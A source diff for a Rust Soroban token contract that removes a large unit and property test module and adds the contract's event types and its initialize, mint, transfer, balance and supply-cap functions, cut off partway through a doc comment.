e.mock_all_auths(); - client.mint(&user, &1000); - client.burn(&user, &400); - - assert_eq!(client.balance(&user), 600); - assert_eq!(client.total_supply(), 600); - } - - #[test] - #[should_panic(expected = "token: insufficient balance")] - fn test_burn_more_than_balance() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &100); - client.burn(&user, &200); - } - - #[test] - #[should_panic(expected = "token: amount must be positive")] - fn test_burn_zero_amount() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.burn(&user, &0); - } - - #[test] - fn test_approve_and_transfer_from() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let recipient = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&owner, &1000); - client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); - - assert_eq!(client.allowance(&owner, &spender), 500); - - client.transfer_from(&spender, &owner, &recipient, &300); - - assert_eq!(client.balance(&owner), 700); - assert_eq!(client.balance(&recipient), 300); - assert_eq!(client.allowance(&owner, &spender), 200); - } - - #[test] - fn test_transfer_from_emits_event() { - use soroban_sdk::testutils::Events as _; - use soroban_sdk::IntoVal; - use soroban_sdk::{vec, Symbol, Val}; - - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let recipient = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&owner, &1000); - client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); - - client.transfer_from(&spender, &owner, &recipient, &300); - - let events = e.events().all(); - let transfer_from_topics: soroban_sdk::Vec = vec![ - &e, - Symbol::new(&e, "transfer_from_event").to_val(), - owner.into_val(&e), - recipient.into_val(&e), - spender.into_val(&e), - ]; - let transfer_from_data: Val = soroban_sdk::Map::::from_array( - &e, - [(Symbol::new(&e, "amount"), 300i128.into_val(&e))], - ) - .into_val(&e); - - assert_eq!( - events, - vec![&e, (contract_id, transfer_from_topics, transfer_from_data),] - ); - } - - #[test] - #[should_panic(expected = "token: insufficient allowance")] - fn test_transfer_from_exceeds_allowance() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let recipient = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&owner, &1000); - client.approve(&owner, &spender, &100, &(e.ledger().sequence() + 100)); - client.transfer_from(&spender, &owner, &recipient, &200); - } - - #[test] - #[should_panic(expected = "token: allowance not found")] - fn test_transfer_from_no_allowance() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let recipient = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&owner, &1000); - client.transfer_from(&spender, &owner, &recipient, &100); - } - - #[test] - #[should_panic(expected = "token: cannot transfer to self")] - fn test_transfer_from_self_is_rejected() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&owner, &1000); - client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); - client.transfer_from(&spender, &owner, &owner, &100); - } - - #[test] - fn test_zero_allowance_returns_zero() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - assert_eq!(client.allowance(&owner, &spender), 0); - } - - #[test] - fn test_allowance_with_expiry_live() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - let expiration_ledger = e.ledger().sequence() + 100; - client.approve(&owner, &spender, &500, &expiration_ledger); - - // Live allowance: both allowance and allowance_with_expiry reflect the - // live amount. - assert_eq!(client.allowance(&owner, &spender), 500); - assert_eq!( - client.allowance_with_expiry(&owner, &spender), - Some((500, expiration_ledger)) - ); - } - - #[test] - fn test_allowance_with_expiry_expired() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - let expiration_ledger = e.ledger().sequence() + 50; - client.approve(&owner, &spender, &500, &expiration_ledger); - - // Advance past the expiration ledger so the allowance is expired. - e.ledger().set_sequence_number(expiration_ledger + 1); - - // allowance_with_expiry exposes the fact that an allowance WAS set and - // is now expired (note: this must be read before allowance(), because - // allowance() lazily cleans up the expired storage key). - assert_eq!( - client.allowance_with_expiry(&owner, &spender), - Some((0, expiration_ledger)) - ); - // allowance() must still return 0. - assert_eq!(client.allowance(&owner, &spender), 0); - } - - #[test] - fn test_allowance_with_expiry_none() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - // No allowance ever set: allowance is 0 and allowance_with_expiry is - // None, distinguishing "never approved" from "expired". - assert_eq!(client.allowance(&owner, &spender), 0); - assert_eq!(client.allowance_with_expiry(&owner, &spender), None); - } - - #[test] - fn test_allowance_lazy_cleanup_of_expired() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - let expiration_ledger = e.ledger().sequence() + 50; - client.approve(&owner, &spender, &500, &expiration_ledger); - e.ledger().set_sequence_number(expiration_ledger + 1); - - // Before cleanup, allowance_with_expiry still sees the expired entry. - assert_eq!( - client.allowance_with_expiry(&owner, &spender), - Some((0, expiration_ledger)) - ); - - // Calling allowance() on the expired entry lazily removes the storage - // key, so the expired allowance is now indistinguishable from "none". - assert_eq!(client.allowance(&owner, &spender), 0); - assert_eq!(client.allowance_with_expiry(&owner, &spender), None); - } - - #[test] - #[should_panic(expected = "token: amount must be positive")] - fn test_mint_negative_amount() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &-100); - } - - #[test] - #[should_panic(expected = "token: amount must be positive")] - fn test_transfer_negative_amount() { - let e = Env::default(); - let admin = Address::generate(&e); - let from = Address::generate(&e); - let to = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&from, &1000); - client.transfer(&from, &to, &-50); - } - - #[test] - #[should_panic(expected = "token: amount must be positive")] - fn test_burn_negative_amount() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.burn(&user, &-100); - } - - #[test] - #[should_panic(expected = "token: cannot transfer to self")] - fn test_transfer_to_self() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &1000); - client.transfer(&user, &user, &500); - } - - #[test] - fn test_transfer_valid_addresses_still_works() { - let e = Env::default(); - let admin = Address::generate(&e); - let from = Address::generate(&e); - let to = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&from, &1000); - client.transfer(&from, &to, &400); - - assert_eq!(client.balance(&from), 600); - assert_eq!(client.balance(&to), 400); - } - - #[test] - fn test_approve_overwrites_previous() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); - assert_eq!(client.allowance(&owner, &spender), 500); - - client.approve(&owner, &spender, &200, &(e.ledger().sequence() + 50)); - assert_eq!(client.allowance(&owner, &spender), 200); - } - - #[test] - fn test_burn_entire_balance() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &500); - client.burn(&user, &500); - - assert_eq!(client.balance(&user), 0); - assert_eq!(client.total_supply(), 0); - } - - #[test] - #[should_panic(expected = "token: amount must be non-negative")] - fn test_approve_negative_amount() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.approve(&owner, &spender, &-100, &(e.ledger().sequence() + 100)); - } - - #[test] - #[should_panic(expected = "token: expiration must be in the future")] - fn test_approve_past_expiration() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.ledger().set_sequence_number(100); - e.mock_all_auths(); - client.approve(&owner, &spender, &500, &50); - } - - #[test] - fn test_approve_zero_revokes_allowance() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); - assert_eq!(client.allowance(&owner, &spender), 500); - - client.approve(&owner, &spender, &0, &(e.ledger().sequence() + 100)); - assert_eq!(client.allowance(&owner, &spender), 0); - } - - #[test] - fn test_max_supply_defaults_to_no_cap() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - assert_eq!(client.max_supply(), i128::MAX); - } - - #[test] - fn test_set_max_supply_and_mint_at_cap() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_max_supply(&admin, &1000); - assert_eq!(client.max_supply(), 1000); - - client.mint(&user, &1000); - assert_eq!(client.balance(&user), 1000); - assert_eq!(client.total_supply(), 1000); - } - - #[test] - #[should_panic(expected = "token: supply cap exceeded")] - fn test_mint_exceeding_supply_cap_fails() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_max_supply(&admin, &1000); - client.mint(&user, &600); - client.mint(&user, &500); - } - - #[test] - #[should_panic(expected = "token: supply cap exceeded")] - fn test_mint_over_cap_on_first_issue_fails() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_max_supply(&admin, &500); - client.mint(&user, &501); - } - - #[test] - #[should_panic(expected = "token: max supply must be positive")] - fn test_set_zero_max_supply_fails() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_max_supply(&admin, &0); - } - - #[test] - #[should_panic(expected = "token: max supply below current supply")] - fn test_set_max_supply_below_current_supply_fails() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &1000); - client.set_max_supply(&admin, &500); - } - - #[test] - #[should_panic(expected = "token: unauthorized")] - fn test_set_max_supply_non_admin_fails() { - let e = Env::default(); - let admin = Address::generate(&e); - let attacker = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_max_supply(&attacker, &1000); - } - - #[test] - fn test_set_metadata_updates_token_info() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_metadata( - &admin, - &String::from_str(&e, "EcoTask Token"), - &String::from_str(&e, "ECOT"), - &6, - ); - - assert_eq!(client.name(), String::from_str(&e, "EcoTask Token")); - assert_eq!(client.symbol(), String::from_str(&e, "ECOT")); - assert_eq!(client.decimal(), 6); - assert_eq!(client.decimals(), 6); - } - - #[test] - #[should_panic(expected = "token: unauthorized")] - fn test_set_metadata_non_admin_fails() { - let e = Env::default(); - let admin = Address::generate(&e); - let attacker = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_metadata( - &attacker, - &String::from_str(&e, "Hijacked"), - &String::from_str(&e, "HACK"), - &7, - ); - } - - #[test] - fn test_decimals_matches_decimal() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - assert_eq!(client.decimals(), 7); - assert_eq!(client.decimal(), client.decimals()); - } - - #[test] - fn test_mint_at_i128_max_supply() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - - // Verify default max_supply is i128::MAX - assert_eq!(client.max_supply(), i128::MAX); - - // Mint i128::MAX amount (supply + amount == i128::MAX) - client.mint(&user, &i128::MAX); - assert_eq!(client.balance(&user), i128::MAX); - assert_eq!(client.total_supply(), i128::MAX); - - // Minting 1 more token when supply + 1 overflows i128 should fail - let res = client.try_mint(&user, &1); - assert!(res.is_err()); - - // Burn exact balance cleanly - client.burn(&user, &i128::MAX); - assert_eq!(client.balance(&user), 0); - assert_eq!(client.total_supply(), 0); - - // Set max supply at exactly i128::MAX - client.set_max_supply(&admin, &i128::MAX); - assert_eq!(client.max_supply(), i128::MAX); - - // Minting up to i128::MAX succeeds with explicit cap set - client.mint(&user, &i128::MAX); - assert_eq!(client.balance(&user), i128::MAX); - assert_eq!(client.total_supply(), i128::MAX); - - // Minting past cap panics via expect - let res_cap = client.try_mint(&user, &1); - assert!(res_cap.is_err()); - } - - #[test] - fn test_transfer_to_balance_overflow_boundary() { - let e = Env::default(); - let admin = Address::generate(&e); - let from = Address::generate(&e); - let to = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - - // Set up `to` balance at i128::MAX - 1 and `from` balance at 2 inside contract context - e.as_contract(&contract_id, || { - crate::storage::write_balance(&e, &to, i128::MAX - 1); - crate::storage::write_supply(&e, i128::MAX - 1); - crate::storage::write_balance(&e, &from, 2); - }); - - // Transfer 2 to `to` where `to` balance is i128::MAX - 1 and amount is 2. - // Should overflow `to` balance and panic via expect("balance overflow"). - let res = client.try_transfer(&from, &to, &2); - assert!(res.is_err()); - } - - use crate::storage::{INSTANCE_TTL_EXTEND_TO, PERSISTENT_TTL_EXTEND_TO}; - - #[test] - fn test_persistent_storage_survives_ledger_advancement() { - let e = Env::default(); - let admin = Address::generate(&e); - let owner = Address::generate(&e); - let spender = Address::generate(&e); - let recipient = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&owner, &1000); - client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 1_000_000)); - client.transfer(&owner, &recipient, &200); - - // Phase 1: Advance to the persistent TTL boundary (4,095 ledgers). - // The balances and allowances were last bumped when written at ledger ~0, - // so they must still be live at PERSISTENT_TTL_EXTEND_TO - 1. - e.ledger().set_sequence_number(PERSISTENT_TTL_EXTEND_TO - 1); - - // Trigger any entry point to re-bump instance TTLs. - let _ = client.total_supply(); - - // Persistent entries (balance, allowance) must survive. - assert_eq!(client.balance(&owner), 800); - assert_eq!(client.balance(&recipient), 200); - assert_eq!(client.allowance(&owner, &spender), 500); - - // Instance entries (admin, metadata, supply) must survive. - assert_eq!(client.admin(), admin); - assert_eq!(client.name(), String::from_str(&e, "ECO")); - assert_eq!(client.total_supply(), 1000); - - // Phase 2: Advance past the persistent TTL. Persistent entries have - // been evicted (their TTL was 4,096). Re-create them by calling - // mutating entry points, then verify everything works. - e.ledger().set_sequence_number(INSTANCE_TTL_EXTEND_TO - 1); - - // Re-touch balance via mint, re-touch allowance via approve. - client.mint(&owner, &1); - client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 1_000_000)); - - // All persistent entries re-bumped and alive. - assert_eq!(client.balance(&owner), 801); - assert_eq!(client.allowance(&owner, &spender), 500); - - // Instance entries still alive. - assert_eq!(client.admin(), admin); - assert_eq!(client.total_supply(), 1001); - } - - use proptest::prelude::*; - - proptest! { - #![proptest_config(ProptestConfig::with_cases(20))] - - #[test] - fn proptest_mint_below_cap(amount in 1..=i128::MAX) { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - - // mint with random amount in [1, i128::MAX] never panics when supply remains below cap - client.mint(&user, &amount); - prop_assert_eq!(client.balance(&user), amount); - prop_assert_eq!(client.total_supply(), amount); - } - - #[test] - fn proptest_transfer_preserves_total_supply( - mint_amount in 1..=i128::MAX, - transfer_amount in 1..=i128::MAX, - ) { - let e = Env::default(); - let admin = Address::generate(&e); - let from = Address::generate(&e); - let to = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&from, &mint_amount); - - if transfer_amount <= mint_amount { - let res = client.try_transfer(&from, &to, &transfer_amount); - prop_assert!(res.is_ok()); - prop_assert_eq!(client.balance(&from), mint_amount - transfer_amount); - prop_assert_eq!(client.balance(&to), transfer_amount); - // Total supply MUST be preserved - prop_assert_eq!(client.total_supply(), mint_amount); - } else { - let res = client.try_transfer(&from, &to, &transfer_amount); - prop_assert!(res.is_err()); - prop_assert_eq!(client.balance(&from), mint_amount); - prop_assert_eq!(client.total_supply(), mint_amount); - } - } - - #[test] - fn proptest_burn_preserves_total_supply( - mint_amount in 1..=i128::MAX, - burn_amount in 1..=i128::MAX, - ) { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &mint_amount); - - if burn_amount <= mint_amount { - let res = client.try_burn(&user, &burn_amount); - prop_assert!(res.is_ok()); - prop_assert_eq!(client.balance(&user), mint_amount - burn_amount); - prop_assert_eq!(client.total_supply(), mint_amount - burn_amount); - if burn_amount == mint_amount { - prop_assert_eq!(client.balance(&user), 0); - prop_assert_eq!(client.total_supply(), 0); - } - } else { - let res = client.try_burn(&user, &burn_amount); - prop_assert!(res.is_err()); - prop_assert_eq!(client.balance(&user), mint_amount); - prop_assert_eq!(client.total_supply(), mint_amount); - } - } - } -} +use crate::storage; +use soroban_sdk::{contract, contractevent, contractimpl, Address, Env, String}; + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct MintEvent { + #[topic] + pub admin: Address, + #[topic] + pub to: Address, + pub amount: i128, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct TransferEvent { + #[topic] + pub from: Address, + #[topic] + pub to: Address, + pub amount: i128, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct BurnEvent { + #[topic] + pub from: Address, + pub amount: i128, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct TransferFromEvent { + #[topic] + pub from: Address, + #[topic] + pub to: Address, + #[topic] + pub spender: Address, + pub amount: i128, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct ApproveEvent { + #[topic] + pub owner: Address, + #[topic] + pub spender: Address, + pub amount: i128, + pub expiration_ledger: u32, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct MaxSupplyUpdatedEvent { + #[topic] + pub admin: Address, + pub max_supply: i128, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct MetadataUpdatedEvent { + #[topic] + pub admin: Address, + pub name: String, + pub symbol: String, + pub decimal: u32, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct MinterUpdatedEvent { + #[topic] + pub admin: Address, + pub previous_minter: Address, + pub new_minter: Address, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct AdminProposedEvent { + #[topic] + pub current_admin: Address, + #[topic] + pub proposed_admin: Address, +} + +#[contractevent] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct AdminAcceptedEvent { + #[topic] + pub new_admin: Address, +} + +#[contract] +pub struct TokenContract; + +#[contractimpl] +impl TokenContract { + /// Initializes the token contract with admin, metadata, and initial minter. + /// + /// # Arguments + /// + /// * `admin` - The initial administrator address who can configure the contract + /// * `name` - The human-readable name of the token (e.g., "ECO") + /// * `symbol` - The token symbol/ticker (e.g., "ECO") + /// * `decimal` - The number of decimal places for display purposes + /// + /// # Panics + /// + /// Panics if the contract has already been initialized. + /// + /// # Auth + /// + /// No authentication required. Can only be called once during deployment. + pub fn initialize(e: Env, admin: Address, name: String, symbol: String, decimal: u32) { + storage::extend_instance_ttl(&e); + if storage::has_admin(&e) { + panic!("token: already initialized"); + } + storage::write_admin(&e, &admin); + storage::write_minter(&e, &admin); + storage::write_metadata(&e, &name, &symbol, &decimal); + storage::write_supply(&e, 0); + } + + /// Mints new tokens to a specified address. + /// + /// # Arguments + /// + /// * `to` - The address to receive the newly minted tokens + /// * `amount` - The amount of tokens to mint (must be positive) + /// + /// # Panics + /// + /// * Panics if `amount <= 0` + /// * Panics if minting would exceed the max supply cap (if set) + /// + /// # Auth + /// + /// Requires the caller to be the current minter address. + pub fn mint(e: Env, to: Address, amount: i128) { + storage::extend_instance_ttl(&e); + let minter = storage::read_minter(&e); + minter.require_auth(); + + if amount <= 0 { + panic!("token: amount must be positive"); + } + + let supply = storage::read_supply(&e); + if let Some(cap) = storage::read_max_supply(&e) { + let new_supply = supply.checked_add(amount).expect("supply overflow"); + if new_supply > cap { + panic!("token: supply cap exceeded"); + } + } + + let balance = storage::read_balance(&e, &to); + storage::write_balance( + &e, + &to, + balance.checked_add(amount).expect("balance overflow"), + ); + + storage::write_supply(&e, supply.checked_add(amount).expect("supply overflow")); + + MintEvent { + admin: minter, + to: to.clone(), + amount, + } + .publish(&e); + } + + /// Transfers tokens from one address to another. + /// + /// # Arguments + /// + /// * `from` - The address sending the tokens (must authorize the transfer) + /// * `to` - The address receiving the tokens + /// * `amount` - The amount of tokens to transfer (must be positive) + /// + /// # Panics + /// + /// * Panics if `amount <= 0` + /// * Panics if `from == to` + /// * Panics if `from` has insufficient balance + /// + /// # Auth + /// + /// Requires authentication from the `from` address. + pub fn transfer(e: Env, from: Address, to: Address, amount: i128) { + storage::extend_instance_ttl(&e); + from.require_auth(); + + if amount <= 0 { + panic!("token: amount must be positive"); + } + + if from == to { + panic!("token: cannot transfer to self"); + } + + let from_balance = storage::read_balance(&e, &from); + if from_balance < amount { + panic!("token: insufficient balance"); + } + + storage::write_balance( + &e, + &from, + from_balance.checked_sub(amount).expect("balance underflow"), + ); + + let to_balance = storage::read_balance(&e, &to); + storage::write_balance( + &e, + &to, + to_balance.checked_add(amount).expect("balance overflow"), + ); + + TransferEvent { + from: from.clone(), + to: to.clone(), + amount, + } + .publish(&e); + } + + /// Returns the token balance of a given address. + /// + /// # Arguments + /// + /// * `id` - The address to query the balance for + /// + /// # Returns + /// + /// The current balance of the address as an i128. + pub fn balance(e: Env, id: Address) -> i128 { + storage::extend_instance_ttl(&e); + storage::read_balance(&e, &id) + } + + /// Returns the total supply of tokens currently in circulation. + /// + /// # Returns + /// + /// The total supply as an i128. + pub fn total_supply(e: Env) -> i128 { + storage::extend_instance_ttl(&e); + storage::read_supply(&e) + } + + /// The hard cap on total supply, or `i128::MAX` if no cap has been set. + /// + /// Minting is rejected whenever it would push the supply past this bound. + /// + /// # Returns + /// + /// The maximum supply cap, or i128::MAX if no cap is configured. + pub fn max_supply(e: Env) -> i128 { + storage::extend_instance_ttl(&e); + storage::read_max_supply(&e).unwrap_or(i128::MAX) + } + + /// Sets the hard supply cap. Admin-only. The cap must be positive and not + /// lower than the current supply, so an already-oversubscribed token can + /// never be retroactively frozen into an invalid state. + /// + /// # Arguments + /// + /// * `caller` - The address invoking the function (must be admin) + /// * `max_supply` - The new maximum supply cap (must be positive and >= current supply) + /// + /// # Panics + /// + /// * Panics if caller is not the admin + /// * 